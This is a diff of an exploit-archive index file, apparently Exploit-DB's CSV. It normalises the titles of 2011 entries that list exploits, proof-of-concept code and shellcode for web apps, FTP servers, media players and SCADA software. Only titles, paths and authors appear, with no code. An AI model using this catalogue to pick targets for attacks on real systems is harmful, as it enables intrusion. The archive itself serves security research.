+17141,platforms/php/webapps/17141.txt,"Point Market System 3.1x vbulletin plugin SQLi Vulnerability",2011-04-10,Net.Edit0r,php,webapps,0
 17142,platforms/windows/dos/17142.py,"IrfanView 4.28 - ICO With Transparent Colour DoS & RDoS",2011-04-10,BraniX,windows,dos,0
 17143,platforms/windows/dos/17143.py,"IrfanView 4.28 - ICO Without Transparent Colour DoS & RDoS",2011-04-10,BraniX,windows,dos,0
 17144,platforms/windows/local/17144.pl,"MikeyZip 1.1 .ZIP File Buffer Overflow",2011-04-10,"C4SS!0 G0M3S",windows,local,0
-17145,platforms/windows/dos/17145.pl,"Vallen Zipper V2.30 .ZIP File Heap Overflow",2011-04-11,"C4SS!0 G0M3S",windows,dos,0
+17145,platforms/windows/dos/17145.pl,"Vallen Zipper 2.30 - (.ZIP) Heap Overflow",2011-04-11,"C4SS!0 G0M3S",windows,dos,0
 17146,platforms/php/webapps/17146.txt,"K-Links - Link Directory Script SQL Injection Vulnerability",2011-04-11,R3d-D3v!L,php,webapps,0
 17147,platforms/linux/local/17147.txt,"tmux '-S' Option Incorrect SetGID Privilege Escalation Vulnerability",2011-04-11,ph0x90bic,linux,local,0
 17148,platforms/multiple/remote/17148.rb,"Zend Server Java Bridge Arbitrary Java Code Execution",2011-04-05,metasploit,multiple,remote,10001
@@ -14916,12 +14916,12 @@ id,file,description,date,author,platform,type,port
 17162,platforms/windows/dos/17162.txt,"Microsoft Reader <= 2.1.1.3143 Integer Overflow",2011-04-12,"Luigi Auriemma",windows,dos,0
 17163,platforms/windows/dos/17163.txt,"Microsoft Reader <= 2.1.1.3143 Array Overflow",2011-04-12,"Luigi Auriemma",windows,dos,0
 17164,platforms/windows/dos/17164.txt,"Microsoft Reader <= 2.1.1.3143 NULL Byte Write",2011-04-12,"Luigi Auriemma",windows,dos,0
-17165,platforms/php/webapps/17165.py,"TinyBB v1.4 Blind Sql Injection and Path Disclosure",2011-04-13,swami,php,webapps,0
-17166,platforms/windows/local/17166.py,"PlaylistMaker V1.5 .txt File Buffer Overflow Vulnerability",2011-04-13,"C4SS!0 G0M3S",windows,local,0
+17165,platforms/php/webapps/17165.py,"TinyBB 1.4 - Blind Sql Injection and Path Disclosure",2011-04-13,swami,php,webapps,0
+17166,platforms/windows/local/17166.py,"PlaylistMaker 1.5 .txt File - Buffer Overflow Vulnerability",2011-04-13,"C4SS!0 G0M3S",windows,local,0
 17169,platforms/bsd/local/17169.pl,"NEdit 5.5 Format String Vulnerability",2011-04-14,Tosh,bsd,local,0
 17170,platforms/php/webapps/17170.txt,"EZ-Shop 1.02 Lateral SQL Injection Vulnerability",2011-04-14,Osirys,php,webapps,0
 17171,platforms/windows/local/17171.pl,"SimplyPlay v.66 .pls File Buffer Overflow Vulnerability",2011-04-14,"C4SS!0 G0M3S",windows,local,0
-17172,platforms/php/webapps/17172.txt,"cPassMan v1.82 Arbitrary File Download",2011-04-15,"Sense of Security",php,webapps,0
+17172,platforms/php/webapps/17172.txt,"cPassMan 1.82 - Arbitrary File Download",2011-04-15,"Sense of Security",php,webapps,0
 17173,platforms/php/webapps/17173.txt,"TextAds 2.08 Script Cross Site Scripting Vulnerability",2011-04-15,"Ashiyane Digital Security Team",php,webapps,0
 17174,platforms/multiple/webapps/17174.txt,"SQL-Ledger <= 2.8.33 Post-authentication Local File Include/Edit Vulnerability",2011-04-15,bitform,multiple,webapps,0
 17175,platforms/windows/remote/17175.rb,"Adobe Flash Player 10.2.153.1 SWF Memory Corruption Vulnerability",2011-04-16,metasploit,windows,remote,0
@@ -14960,8 +14960,8 @@ id,file,description,date,author,platform,type,port
 17212,platforms/php/webapps/17212.txt,"OrangeHRM 2.6.3 (PluginController.php) Local File Inclusion Vulnerability",2011-04-25,"AutoSec Tools",php,webapps,0
 17213,platforms/php/webapps/17213.txt,"phpMyChat Plus 1.93 Multiple Vulnerabilities",2011-04-25,"AutoSec Tools",php,webapps,0
 17214,platforms/php/webapps/17214.php,"WordPress SermonBrowser Plugin 0.43 SQL Injection",2011-04-26,Ma3sTr0-Dz,php,webapps,0
-17215,platforms/hardware/webapps/17215.txt,"Snom IP Phone Web Interface < v8 Multiple Vulnerabilities",2011-04-26,"Yakir Wizman",hardware,webapps,0
-17216,platforms/php/webapps/17216.txt,"Quick.CMS v3.0 CSRF Vulnerabilities",2011-04-26,^Xecuti0N3r,php,webapps,0
+17215,platforms/hardware/webapps/17215.txt,"Snom IP Phone Web Interface < 8 - Multiple Vulnerabilities",2011-04-26,"Yakir Wizman",hardware,webapps,0
+17216,platforms/php/webapps/17216.txt,"Quick.CMS 3.0 - CSRF Vulnerabilities",2011-04-26,^Xecuti0N3r,php,webapps,0
 17217,platforms/windows/local/17217.py,"Subtitle Processor 7.7.1 SEH Unicode Buffer Overflow Exploit",2011-04-27,"Brandon Murphy",windows,local,0
 17218,platforms/php/webapps/17218.txt,"Symphony CMS 2.1.2 Blind SQL Injection",2011-04-27,Wireghoul,php,webapps,0
 17219,platforms/windows/remote/17219.rb,"EMC HomeBase Server Directory Traversal Remote Code Execution",2011-04-27,metasploit,windows,remote,18821
@@ -15019,8 +15019,8 @@ id,file,description,date,author,platform,type,port
 17296,platforms/php/webapps/17296.txt,"NoticeBoardPro 1.0 Multiple Vulnerabilities",2011-05-16,"AutoSec Tools",php,webapps,0
 17297,platforms/php/webapps/17297.txt,"Jcow 4.2.1 LFI Vulnerability",2011-05-16,"AutoSec Tools",php,webapps,0
 17298,platforms/netware/dos/17298.txt,"Novell Netware eDirectory DoS Vulnerability",2011-05-16,nSense,netware,dos,0
-17299,platforms/php/webapps/17299.txt,"Is-human <=1.4.2 Wordpress Plugin Remote Command Execution Vulnerability",2011-05-17,neworder,php,webapps,0
-17300,platforms/windows/remote/17300.rb,"7-Technologies IGSS <= v9.00.00 b11063 IGSSdataServer.exe Stack Overflow",2011-05-16,metasploit,windows,remote,0
+17299,platforms/php/webapps/17299.txt,"Wordpress Plugin Is-human <= 1.4.2- Remote Command Execution Vulnerability",2011-05-17,neworder,php,webapps,0
+17300,platforms/windows/remote/17300.rb,"7-Technologies IGSS <= 9.00.00 b11063 - IGSSdataServer.exe Stack Overflow",2011-05-16,metasploit,windows,remote,0
 17301,platforms/php/webapps/17301.txt,"Pligg 1.1.4 SQL Injection Vulnerability",2011-05-17,Null-0x00,php,webapps,0
 17302,platforms/windows/local/17302.py,"Sonique 1.96 .m3u Buffer Overflow",2011-05-17,sinfulsecurity,windows,local,0
 17303,platforms/php/webapps/17303.txt,"Joomla 1.0 Component jDownloads Arbitrary File Upload Vulnerability",2011-05-18,Al-Ghamdi,php,webapps,0
@@ -15028,12 +15028,12 @@ id,file,description,date,author,platform,type,port
 17305,platforms/windows/dos/17305.py,"Microsoft Windows Vista/Server 2008 ""nsiproxy.sys"" Local Kernel DoS Exploit",2011-05-18,"Lufeng Li",windows,dos,0
 17306,platforms/windows/local/17306.pl,"SpongeBob SquarePants Typing Buffer Overflow (SEH)",2011-05-18,"Infant Overflow",windows,local,0
 17307,platforms/php/webapps/17307.txt,"Ultimate PHP Board 2.2.7 Broken Authentication and Session Management",2011-05-20,i2sec,php,webapps,0
-17308,platforms/php/webapps/17308.txt,"Zen Cart <= v1.3.9h Multiple Vulnerabilities",2011-05-20,"Dr. Alberto Fontanella",php,webapps,0
+17308,platforms/php/webapps/17308.txt,"Zen Cart <= 1.3.9h - Multiple Vulnerabilities",2011-05-20,"Dr. Alberto Fontanella",php,webapps,0
 17309,platforms/php/webapps/17309.txt,"PHP Captcha / Securimage 2.0.2 - Authentication Bypass - SO-11-007",2011-05-20,"Sense of Security",php,webapps,0
 17311,platforms/php/webapps/17311.txt,"E-Manage MySchool 7.02 SQL Injection Vulnerability",2011-05-21,az7rb,php,webapps,0
 17312,platforms/php/webapps/17312.txt,"Tugux CMS 1.2 Multiple Remote Vulnerabilities",2011-05-22,LiquidWorm,php,webapps,0
 17313,platforms/windows/local/17313.rb,"Magix Musik Maker 16 .mmm Stack Buffer Overflow",2011-05-22,metasploit,windows,local,0
-17314,platforms/php/webapps/17314.txt,"vBulletin  4.0.x => 4.1.2 (search.php) SQL Injection Vulnerability",2011-05-23,D4rkB1t,php,webapps,0
+17314,platforms/php/webapps/17314.txt,"vBulletin 4.0.x => 4.1.2 (search.php) SQL Injection Vulnerability",2011-05-23,D4rkB1t,php,webapps,0
 17316,platforms/php/webapps/17316.txt,"PHPortfolio SQL Injection Vulnerbility",2011-05-23,lionaneesh,php,webapps,0
 17317,platforms/windows/local/17317.rb,"VisiWave VWR File Parsing Trusted Pointer Vulnerability",2011-05-23,metasploit,windows,local,0
 17318,platforms/multiple/local/17318.php,"PHP <= 5.3.5 socket_connect() Buffer Overflow Vulnerability",2011-05-25,"Marek Kroemeke",multiple,local,0
@@ -15042,15 +15042,15 @@ id,file,description,date,author,platform,type,port
 17321,platforms/php/webapps/17321.txt,"ExtCalendar 2.0b2 (cal_search.php) SQL Injection Vulnerability",2011-05-25,"High-Tech Bridge SA",php,webapps,0
 17322,platforms/php/webapps/17322.txt,"eGroupware 1.8.001.20110421 Multiple Vulnerabilities",2011-05-25,"AutoSec Tools",php,webapps,0
 17323,platforms/windows/shellcode/17323.c,"Allwin WinExec add new local administrator + ExitProcess Shellcode",2011-05-25,RubberDuck,windows,shellcode,0
-17324,platforms/php/webapps/17324.rb,"AWStats Totals =< v1.14 multisort Remote Command Execution",2011-05-25,metasploit,php,webapps,0
+17324,platforms/php/webapps/17324.rb,"AWStats Totals <= 1.14 multisort - Remote Command Execution",2011-05-25,metasploit,php,webapps,0
 17325,platforms/php/webapps/17325.py,"Clipbucket 2.4 RC2 645 SQL Injection Vulnerability",2011-05-26,"AutoSec Tools",php,webapps,0
 17326,platforms/windows/shellcode/17326.rb,"DNS Reverse Download and Exec Shellcode",2011-05-26,"Alexey Sintsov",windows,shellcode,0
 17327,platforms/php/webapps/17327.txt,"HB Ecommerce SQL Injection Vulnerability",2011-05-27,takeshix,php,webapps,0
-17328,platforms/windows/remote/17328.html,"Magneto ICMP ActiveX v4.0.0.20 ICMPSendEchoRequest Remote Code Execute",2011-05-27,boahat,windows,remote,0
+17328,platforms/windows/remote/17328.html,"Magneto ICMP ActiveX 4.0.0.20 - ICMPSendEchoRequest Remote Code Execute",2011-05-27,boahat,windows,remote,0
 17329,platforms/windows/local/17329.rb,"Magix Musik Maker 16 .mmm Stack Buffer Overflow (w/o egg-hunter)",2011-05-27,"Alexey Sintsov",windows,local,0
 17330,platforms/php/webapps/17330.html,"cPanel < 11.25 CSRF - Add User php Script",2011-05-27,ninjashell,php,webapps,0
 17335,platforms/php/webapps/17335.txt,"Duhok Forum 1.1 SQL Injection Vulnerability",2011-05-28,M.Jock3R,php,webapps,0
-17336,platforms/php/webapps/17336.txt,"Guru Penny Auction Pro V3 Blind SQL Injection Vulnerability",2011-05-28,v3n0m,php,webapps,0
+17336,platforms/php/webapps/17336.txt,"Guru Penny Auction Pro 3.0 - Blind SQL Injection Vulnerability",2011-05-28,v3n0m,php,webapps,0
 17338,platforms/php/webapps/17338.txt,"Joomla Component com_jmsfileseller Local File Inclusion Vulnerability",2011-05-28,Valentin,php,webapps,0
 17339,platforms/windows/remote/17339.py,"HP Data Protector Client EXEC_CMD Remote Code Execution PoC (ZDI-11-055)",2011-05-28,fdisk,windows,remote,0
 17341,platforms/php/webapps/17341.txt,"Joomla Component com_joomnik SQL Injection Vulnerability",2011-05-29,SOLVER,php,webapps,0
@@ -15061,12 +15061,12 @@ id,file,description,date,author,platform,type,port
 17347,platforms/php/webapps/17347.php,"Easy Media Script SQL Injection Vulnerability",2011-05-30,Lagripe-Dz,php,webapps,0
 17349,platforms/hardware/webapps/17349.txt,"Belkin G Wireless Router F5D7234-4 v5 Exploit",2011-05-30,Aodrulez,hardware,webapps,0
 17350,platforms/php/webapps/17350.txt,"Guru JustAnswer Professional 1.25 Multiple SQL Injection Vulnerabilities",2011-05-30,v3n0m,php,webapps,0
-17351,platforms/hardware/dos/17351.py,"iPhone4 FTP Server V1.0 - Empty CWD-RETR Remote Crash",2011-05-31,offsetIntruder,hardware,dos,0
+17351,platforms/hardware/dos/17351.py,"iPhone4 FTP Server 1.0 - Empty CWD-RETR Remote Crash",2011-05-31,offsetIntruder,hardware,dos,0
 17352,platforms/windows/remote/17352.rb,"7-Technologies IGSS 9 Data Server/Collector Packet Handling Vulnerabilities",2011-05-30,metasploit,windows,remote,0
 17353,platforms/hardware/dos/17353.pl,"Brother HL-5370DW series auth bypass printer flooder",2011-05-31,chrisB,hardware,dos,0
-17354,platforms/windows/remote/17354.py,"Easy Ftp Server v1.7.0.2 Post-Authentication BoF",2011-06-01,b33f,windows,remote,0
+17354,platforms/windows/remote/17354.py,"Easy Ftp Server 1.7.0.2 - Post-Authentication BoF",2011-06-01,b33f,windows,remote,0
 17355,platforms/windows/remote/17355.rb,"GoldenFTP 4.70 PASS Stack Buffer Overflow",2011-06-02,metasploit,windows,remote,21
-17356,platforms/hardware/remote/17356.txt,"MODACOM URoad-5000 v1450 Remote Command Execution/Backdoor",2011-06-02,"Alex Stanev",hardware,remote,0
+17356,platforms/hardware/remote/17356.txt,"MODACOM URoad-5000 1450 - Remote Command Execution/Backdoor",2011-06-02,"Alex Stanev",hardware,remote,0
 17359,platforms/windows/remote/17359.pl,"Xitami Web Server 2.5b4 Remote Buffer Overflow Exploit",2011-06-03,mr.pr0n,windows,remote,0
 17360,platforms/windows/webapps/17360.txt,"WebSVN 2.3.2 Unproper Metacharacters Escaping exec() Remote Command Injection",2011-06-04,rgod,windows,webapps,0
 17361,platforms/windows/remote/17361.py,"Xitami Web Server 2.5b4 Remote Buffer Overflow (Egghunter)",2011-06-04,"Glafkos Charalambous ",windows,remote,0
@@ -15089,7 +15089,7 @@ id,file,description,date,author,platform,type,port
 17381,platforms/windows/remote/17381.txt,"Simple web-server 1.2 Directory Traversal",2011-06-10,"AutoSec Tools",windows,remote,0
 17382,platforms/windows/webapps/17382.txt,"Tele Data Contact Management Server Directory Traversal",2011-06-10,"AutoSec Tools",windows,webapps,0
 17383,platforms/windows/local/17383.py,"The KMPlayer 3.0.0.1440 .mp3 Buffer Overflow Exploit (Win7 + ASLR bypass mod)",2011-06-11,xsploitedsec,windows,local,0
-17387,platforms/windows/dos/17387.html,"UUSEE ActiveX <6.11.0412.1 Buffer Overflow vulnerability",2011-06-11,huimaozi,windows,dos,0
+17387,platforms/windows/dos/17387.html,"UUSEE ActiveX < 6.11.0412.1 - Buffer Overflow vulnerability",2011-06-11,huimaozi,windows,dos,0
 17388,platforms/windows/webapps/17388.txt,"Trend Micro Data Loss Prevention Virtual Appliance 5.5 Directory Traversal",2011-06-11,"White Hat Consultores",windows,webapps,0
 17389,platforms/php/webapps/17389.py,"Technote 7.2 Blind SQL Injection Vulnerability",2011-06-11,BlueH4G,php,webapps,0
 17390,platforms/php/webapps/17390.txt,"SUBRION CMS Multiple Vulnerabilities",2011-06-11,"Karthik R",php,webapps,0
@@ -15116,7 +15116,7 @@ id,file,description,date,author,platform,type,port
 17413,platforms/php/webapps/17413.txt,"Burning Board 3.1.5 Full Path Disclosure",2011-06-19,linc0ln.dll,php,webapps,0
 17414,platforms/php/webapps/17414.txt,"Joomla Component Calc Builder (id) Blind SQL Injection Vulnerability",2011-06-19,"Chip D3 Bi0s",php,webapps,0
 17415,platforms/windows/remote/17415.rb,"Black Ice Cover Page SDK insecure method DownloadImageFileURL() exploit",2011-06-20,mr_me,windows,remote,0
-17416,platforms/windows/remote/17416.html,"Black Ice Fax Voice SDK v12.6 Remote Code Execution Exploit",2011-06-20,mr_me,windows,remote,0
+17416,platforms/windows/remote/17416.html,"Black Ice Fax Voice SDK 12.6 - Remote Code Execution Exploit",2011-06-20,mr_me,windows,remote,0
 17417,platforms/windows/remote/17417.rb,"DATAC RealWin SCADA Server 2 On_FC_CONNECT_FCS_a_FILE Buffer Overflow",2011-06-20,metasploit,windows,remote,0
 17418,platforms/php/webapps/17418.rb,"If-CMS 2.07 Pre-Auth Local File Inclusion Exploit",2011-06-20,TecR0c,php,webapps,0
 17419,platforms/windows/remote/17419.zip,"Mozilla Firefox ""nsTreeRange"" Dangling Pointer Exploit",2011-06-20,Abysssec,windows,remote,0
@@ -15152,10 +15152,10 @@ id,file,description,date,author,platform,type,port
 17456,platforms/windows/remote/17456.rb,"Citrix Provisioning Services 5.6 streamprocess.exe Buffer Overflow",2011-06-27,metasploit,windows,remote,0
 17457,platforms/php/webapps/17457.txt,"rgboard 4.2.1 SQL Injection Vulnerability",2011-06-28,hamt0ry,php,webapps,0
 17458,platforms/windows/dos/17458.txt,"HP Data Protector 6.20 Multiple Vulnerabilities",2011-06-29,"Core Security",windows,dos,0
-17459,platforms/windows/local/17459.txt,"Valve Steam Client Application v1559/1559 Local Privilege Escalation",2011-06-29,LiquidWorm,windows,local,0
+17459,platforms/windows/local/17459.txt,"Valve Steam Client Application 1559/1559 - Local Privilege Escalation",2011-06-29,LiquidWorm,windows,local,0
 17460,platforms/windows/remote/17460.pl,"Kaillera Multiple Clients Buffer Overflow Vulnerabilities",2011-06-30,Sil3nt_Dre4m,windows,remote,0
 17461,platforms/windows/dos/17461.txt,"HP Data Protector 6.20 EXEC_CMD Buffer Overflow Vulnerability",2011-06-30,"Core Security",windows,dos,0
-17462,platforms/freebsd/remote/17462.txt,"OpenSSH 3.5p1 Remote Root Exploit for FreeBSD",2011-06-30,Kingcope,freebsd,remote,0
+17462,platforms/freebsd/remote/17462.txt,"FreeBSD OpenSSH 3.5p1 - Remote Root Exploit",2011-06-30,Kingcope,freebsd,remote,0
 17463,platforms/linux/dos/17463.pl,"Rhythmbox (.m3u) Local Crash Poc",2011-06-30,Caddy-Dz,linux,dos,0
 17464,platforms/php/webapps/17464.txt,"Joomla mdigg Component SQL Injection Vulnerability",2011-07-01,"Caddy Dz",php,webapps,0
 17465,platforms/php/webapps/17465.txt,"WordPress 3.1.3 SQL Injection Vulnerabilities",2011-07-01,"SEC Consult",php,webapps,0
@@ -15163,43 +15163,43 @@ id,file,description,date,author,platform,type,port
 17467,platforms/windows/remote/17467.rb,"HP OmniInet.exe Opcode 27 Buffer Overflow",2011-07-01,metasploit,windows,remote,5555
 17468,platforms/windows/remote/17468.py,"HP Data Protector 6.11 Remote Buffer Overflow + DEP Bypass",2011-07-02,"muts and dookie",windows,remote,5555
 17471,platforms/windows/dos/17471.py,"Donar Player 2.8.0 Denial of Service Vulnerability",2011-07-03,X-h4ck,windows,dos,0
-17472,platforms/asp/webapps/17472.txt,"DmxReady Catalog Manager v1.2 SQL Injection Vulneratbility",2011-07-03,Bellatrix,asp,webapps,0
+17472,platforms/asp/webapps/17472.txt,"DmxReady Catalog Manager 1.2 - SQL Injection Vulneratbility",2011-07-03,Bellatrix,asp,webapps,0
 17473,platforms/windows/local/17473.txt,"Adobe Reader X Atom Type Confusion Vulnerability Exploit",2011-07-03,Snake,windows,local,0
 17474,platforms/windows/local/17474.txt,"MS Office 2010 RTF Header Stack Overflow Vulnerability Exploit",2011-07-03,Snake,windows,local,0
-17475,platforms/asp/webapps/17475.txt,"DmxReady News Manager v1.2 SQL Injection Vulnerability",2011-07-03,Bellatrix,asp,webapps,0
+17475,platforms/asp/webapps/17475.txt,"DmxReady News Manager 1.2 - SQL Injection Vulnerability",2011-07-03,Bellatrix,asp,webapps,0
 17476,platforms/windows/dos/17476.rb,"Microsoft IIS FTP Server <= 7.0 Stack Exhaustion DoS [MS09-053]",2011-07-03,"Myo Soe",windows,dos,0
 17477,platforms/php/webapps/17477.txt,"phpDealerLocator Multiple SQL Injection Vulnerabilities",2011-07-03,"Robert Cooper",php,webapps,0
-17478,platforms/asp/webapps/17478.txt,"DMXReady Registration Manager v1.2 SQL Injection Vulneratbility",2011-07-03,Bellatrix,asp,webapps,0
-17479,platforms/asp/webapps/17479.txt,"DmxReady Contact Us Manager v1.2 SQL Injection Vulnerability",2011-07-03,Bellatrix,asp,webapps,0
-17480,platforms/asp/webapps/17480.txt,"DmxReady Faqs Manager v1.2 SQL Injection Vulnerability",2011-07-03,Bellatrix,asp,webapps,0
-17481,platforms/asp/webapps/17481.txt,"DmxReady Bilboard v1.2 SQL Injection Vulnerability",2011-07-03,Bellatrix,asp,webapps,0
-17482,platforms/asp/webapps/17482.txt,"DmxReady Document Library Manager v1.2 SQL Injection Vulnerability",2011-07-03,Bellatrix,asp,webapps,0
-17483,platforms/php/webapps/17483.txt,"DMXReady Account List Manager v1.2 SQL Injection Vulnerability",2011-07-04,Bellatrix,php,webapps,0
-17484,platforms/php/webapps/17484.txt,"DmxReady Links Manager v1.2 SQL Injection Vulnerability",2011-07-04,Bellatrix,php,webapps,0
-17485,platforms/php/webapps/17485.txt,"PhpFood CMS v2.00 SQL Injection Vulnerability",2011-07-04,kaMtiEz,php,webapps,0
+17478,platforms/asp/webapps/17478.txt,"DMXReady Registration Manager 1.2 - SQL Injection Vulneratbility",2011-07-03,Bellatrix,asp,webapps,0
+17479,platforms/asp/webapps/17479.txt,"DmxReady Contact Us Manager 1.2 - SQL Injection Vulnerability",2011-07-03,Bellatrix,asp,webapps,0
+17480,platforms/asp/webapps/17480.txt,"DmxReady Faqs Manager 1.2 - SQL Injection Vulnerability",2011-07-03,Bellatrix,asp,webapps,0
+17481,platforms/asp/webapps/17481.txt,"DmxReady Bilboard 1.2 - SQL Injection Vulnerability",2011-07-03,Bellatrix,asp,webapps,0
+17482,platforms/asp/webapps/17482.txt,"DmxReady Document Library Manager 1.2 - SQL Injection Vulnerability",2011-07-03,Bellatrix,asp,webapps,0
+17483,platforms/php/webapps/17483.txt,"DMXReady Account List Manager 1.2 - SQL Injection Vulnerability",2011-07-04,Bellatrix,php,webapps,0
+17484,platforms/php/webapps/17484.txt,"DmxReady Links Manager 1.2 - SQL Injection Vulnerability",2011-07-04,Bellatrix,php,webapps,0
+17485,platforms/php/webapps/17485.txt,"PhpFood CMS 2.00 - SQL Injection Vulnerability",2011-07-04,kaMtiEz,php,webapps,0
 17486,platforms/multiple/local/17486.php,"PHP 5.3.6 Buffer Overflow PoC (ROP) CVE-2011-1938",2011-07-04,"Jonathan Salwan",multiple,local,0
 17487,platforms/php/webapps/17487.php,"WeBid <= 1.0.2 (converter.php) Remote Code Execution Exploit",2011-07-04,EgiX,php,webapps,0
 17488,platforms/windows/local/17488.txt,"Adobe Reader 5.1 XFDF Buffer Overflow Vulnerability (SEH)",2011-07-04,extraexploit,windows,local,0
 17489,platforms/windows/local/17489.rb,"Word List Builder 1.0 Buffer Overflow Exploit (MSF)",2011-07-04,"James Fitts",windows,local,0
 17490,platforms/windows/remote/17490.rb,"HP OmniInet.exe Opcode 20 Buffer Overflow",2011-07-04,metasploit,windows,remote,0
-17491,platforms/unix/remote/17491.rb,"VSFTPD v2.3.4 Backdoor Command Execution",2011-07-05,metasploit,unix,remote,0
+17491,platforms/unix/remote/17491.rb,"VSFTPD 2.3.4 - Backdoor Command Execution",2011-07-05,metasploit,unix,remote,0
 17492,platforms/windows/local/17492.rb,"Wordtrainer 3.0 .ORD File Buffer Overflow Vulnerability (MSF)",2011-07-05,"James Fitts",windows,local,0
-17493,platforms/asp/webapps/17493.txt,"DmxReady Secure Document Library v1.2 SQL Injection Vulnerability",2011-07-05,Bellatrix,asp,webapps,0
+17493,platforms/asp/webapps/17493.txt,"DmxReady Secure Document Library 1.2 - SQL Injection Vulnerability",2011-07-05,Bellatrix,asp,webapps,0
 17495,platforms/php/webapps/17495.txt,"BbZL.PhP File Inclusion Exploit",2011-07-06,"Number 7",php,webapps,0
 17496,platforms/php/webapps/17496.txt,"Joomla 1.6.3 CSRF Exploit",2011-07-06,"Luis Santana",php,webapps,0
 17497,platforms/windows/dos/17497.txt,"ESTsoft ALPlayer 2.0 ASX Playlist File Handling Buffer Overflow Vulnerability",2011-07-06,LiquidWorm,windows,dos,0
 17498,platforms/windows/remote/17498.rb,"Freefloat FTP Server Buffer Overflow Vulnerability (MSF)",2011-07-07,"James Fitts",windows,remote,0
 17499,platforms/windows/local/17499.rb,"CoolPlayer Portable 2.19.2 Buffer Overflow (MSF)",2011-07-07,"James Fitts",windows,local,0
-17500,platforms/php/webapps/17500.txt,"LuxCal Web Calendar v2.4.2 / v2.5.0 SQL Injection Vulnerability",2011-07-07,kaMtiEz,php,webapps,0
+17500,platforms/php/webapps/17500.txt,"LuxCal Web Calendar 2.4.2 & 2.5.0 - SQL Injection Vulnerability",2011-07-07,kaMtiEz,php,webapps,0
 17501,platforms/hardware/dos/17501.py,"Dlink DSL-2650U Dos/PoC",2011-07-07,"Li'el Fridman",hardware,dos,0
 17502,platforms/windows/local/17502.rb,"MicroP 0.1.1.1600 (MPPL File) Stack Buffer Overflow",2011-07-07,metasploit,windows,local,0
 17503,platforms/jsp/webapps/17503.pl,"ManageEngine ServiceDesk <= 8.0.0.12 Database Disclosure Exploit",2011-07-07,@ygoltsev,jsp,webapps,0
 17507,platforms/hardware/remote/17507.py,"Avaya IP Office Manager TFTP Server Directory Traversal Vulnerability",2011-07-08,"SecPod Research",hardware,remote,0
 17508,platforms/php/webapps/17508.txt,"appRain Quick Start Edition Core Edition Multiple XSS Vulnerabilities",2011-07-08,"SecPod Research",php,webapps,0
-17509,platforms/windows/dos/17509.pl,"ZipWiz 2005 v5.0 .ZIP File Buffer Corruption Exploit",2011-07-08,"C4SS!0 G0M3S",windows,dos,0
+17509,platforms/windows/dos/17509.pl,"ZipWiz 2005 5.0 - .ZIP File Buffer Corruption Exploit",2011-07-08,"C4SS!0 G0M3S",windows,dos,0
 17510,platforms/php/webapps/17510.py,"phpMyAdmin3 (pma3) Remote Code Execution Exploit",2011-07-08,wofeiwo,php,webapps,0
-17511,platforms/windows/local/17511.pl,"ZipGenius v6.3.2.3000 .ZIP File Buffer Overflow Exploit",2011-07-08,"C4SS!0 G0M3S",windows,local,0
-17512,platforms/windows/dos/17512.pl,"ZipItFast v3.0 .ZIP File Heap Overflow Exploit",2011-07-08,"C4SS!0 G0M3S",windows,dos,0
+17511,platforms/windows/local/17511.pl,"ZipGenius 6.3.2.3000 - (.ZIP) Buffer Overflow Exploit",2011-07-08,"C4SS!0 G0M3S",windows,local,0
+17512,platforms/windows/dos/17512.pl,"ZipItFast 3.0 - (.ZIP) Heap Overflow Exploit",2011-07-08,"C4SS!0 G0M3S",windows,dos,0
 17513,platforms/windows/remote/17513.rb,"Blue Coat Authentication and Authorization Agent (BCAAA) 5 Buffer Overflow",2011-07-09,metasploit,windows,remote,0
 17514,platforms/php/webapps/17514.php,"phpMyAdmin 3.x Swekey Remote Code Injection Exploit",2011-07-09,Mango,php,webapps,0
 17515,platforms/php/webapps/17515.txt,"Portix-CMS 1.5.0. rc5 Local File Inclusion Vulnerability",2011-07-09,Or4nG.M4N,php,webapps,0
@@ -15209,11 +15209,11 @@ id,file,description,date,author,platform,type,port
 17520,platforms/windows/remote/17520.rb,"Mozilla Firefox ""nsTreeRange"" Dangling Pointer Vulnerability",2011-07-10,metasploit,windows,remote,0
 17522,platforms/php/webapps/17522.txt,"Fire Soft Board <= 2.0.1 Persistent XSS Vulnerability (admin panel)",2011-07-12,"_jill for A-S",php,webapps,0
 17523,platforms/php/webapps/17523.txt,"Tradingeye E-commerce Shopping Cart Multiple Vulnerabilities",2011-07-12,"$#4d0\/\/[r007k17]",php,webapps,0
-17524,platforms/php/webapps/17524.html,"Pandora FMS v3.2.1 Cross Site Request Forgery",2011-07-12,"mehdi boukazoula",php,webapps,0
+17524,platforms/php/webapps/17524.html,"Pandora FMS 3.2.1 - Cross Site Request Forgery",2011-07-12,"mehdi boukazoula",php,webapps,0
 17525,platforms/php/webapps/17525.txt,"Xmap 1.2.11 Joomla Component Blind SQL Injection",2011-07-12,jdc,php,webapps,0
 17527,platforms/windows/remote/17527.py,"Solar FTP 2.1.1 PASV Buffer Overflow PoC",2011-07-12,"Craig Freyman",windows,remote,0
 17528,platforms/php/webapps/17528.txt,"LiteRadius <= 3.2 - Multiple Blind SQL Injection Vulnerabilities",2011-07-13,"Robert Cooper",php,webapps,0
-17529,platforms/php/webapps/17529.txt,"TCExam <=11.2.011 Multiple SQL Injection Vulnerabilities",2011-07-13,LiquidWorm,php,webapps,0
+17529,platforms/php/webapps/17529.txt,"TCExam <= 11.2.011 - Multiple SQL Injection Vulnerabilities",2011-07-13,LiquidWorm,php,webapps,0
 17530,platforms/php/webapps/17530.txt,"SOBI2 2.9.3.2 Joomla! Component Blind SQL Injections",2011-07-14,jdc,php,webapps,0
 17531,platforms/php/webapps/17531.txt,"PG eLMS Pro vDEC_2007_01 (contact_us.php) Multiple POST XSS Vulnerabilities",2011-07-14,LiquidWorm,php,webapps,0
 17532,platforms/php/webapps/17532.txt,"PG eLMS Pro vDEC_2007_01 Multiple Blind SQL Injection Vulnerabilities",2011-07-14,LiquidWorm,php,webapps,0
@@ -15223,7 +15223,7 @@ id,file,description,date,author,platform,type,port
 17537,platforms/windows/remote/17537.rb,"HP OpenView Network Node Manager Toolbar.exe CGI Cookie Handling Buffer Overflow",2011-07-16,metasploit,windows,remote,0
 17539,platforms/windows/remote/17539.rb,"FreeFloat FTP Server 1.00 MKD Buffer Overflow Exploit",2011-07-17,"C4SS!0 G0M3S",windows,remote,0
 17540,platforms/windows/remote/17540.rb,"Freefloat FTP Server MKD Buffer Overflow (MSF)",2011-07-18,"James Fitts",windows,remote,0
-17543,platforms/windows/remote/17543.rb,"Iconics GENESIS32 Integer overflow version 9.21.201.01",2011-07-17,metasploit,windows,remote,0
+17543,platforms/windows/remote/17543.rb,"Iconics GENESIS32 9.21.201.01 - Integer overflow",2011-07-17,metasploit,windows,remote,0
